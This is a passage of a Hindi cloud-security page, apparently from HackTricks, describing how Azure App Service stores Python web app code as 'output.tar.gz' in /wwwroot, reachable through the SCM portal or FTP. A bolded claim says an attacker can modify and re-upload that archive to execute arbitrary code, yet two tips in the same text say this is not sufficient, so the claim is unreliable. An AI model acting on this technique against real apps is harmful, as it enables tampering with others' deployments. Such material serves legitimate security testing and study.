az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
|
||||
|
||||
> [!TIP]
|
||||
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
|
||||
|
||||
**एक हमलावर इस फ़ाइल को डाउनलोड कर सकता है, इसे संशोधित कर सकता है, और इसे फिर से अपलोड कर सकता है ताकि वेब ऐप में मनमाना कोड निष्पादित किया जा सके।**
|
||||
|
||||
### Github से Python
|
||||
|
||||
यह ट्यूटोरियल पिछले वाले पर आधारित है लेकिन एक Github रिपॉजिटरी का उपयोग कर रहा है।
|
||||
|
||||
1. अपने Github खाते में msdocs-python-flask-webapp-quickstart रिपॉजिटरी को फोर्क करें।
|
||||
2. Azure में एक नया Python वेब ऐप बनाएं।
|
||||
3. `Deployment Center` में स्रोत बदलें, Github के साथ लॉगिन करें, फोर्क की गई रिपॉजिटरी का चयन करें और `Save` पर क्लिक करें।
|
||||
|
||||
जैसे पिछले मामले में, SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
|
||||
|
||||
> [!TIP]
|
||||
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ट्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user